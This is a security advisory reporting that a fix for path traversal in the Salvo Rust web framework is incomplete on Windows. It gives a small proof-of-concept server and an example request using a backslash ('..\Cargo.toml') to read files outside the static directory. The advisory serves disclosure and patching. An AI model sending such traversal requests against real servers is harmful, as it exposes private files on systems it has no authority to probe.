Description

The fix released in version 0.19.1 does not completely fix the relative path traversal vulnerability on Windows hosts. An attacker can access files outside of the configured directory root. This is due to Windows supporting the \ character as a path separator.

Proof of Concept

With a static folder in the project directory:

// main.rs
use salvo::extra::serve::{Options, StaticDir};
use salvo::prelude::*;

#[tokio::main]
async fn main() {
    let router = Router::with_path("<**path>")
        .get(StaticDir::width_options(vec!["static"], Options::default()));

    Server::new(TcpListener::bind("0.0.0.0:7878"))
        .serve(router)
        .await;
}

Example attack request:

GET /..\Cargo.toml HTTP/1.1
Host: localhost

Impact

This vulnerability is capable of accessing any file on a Windows server running Salvo.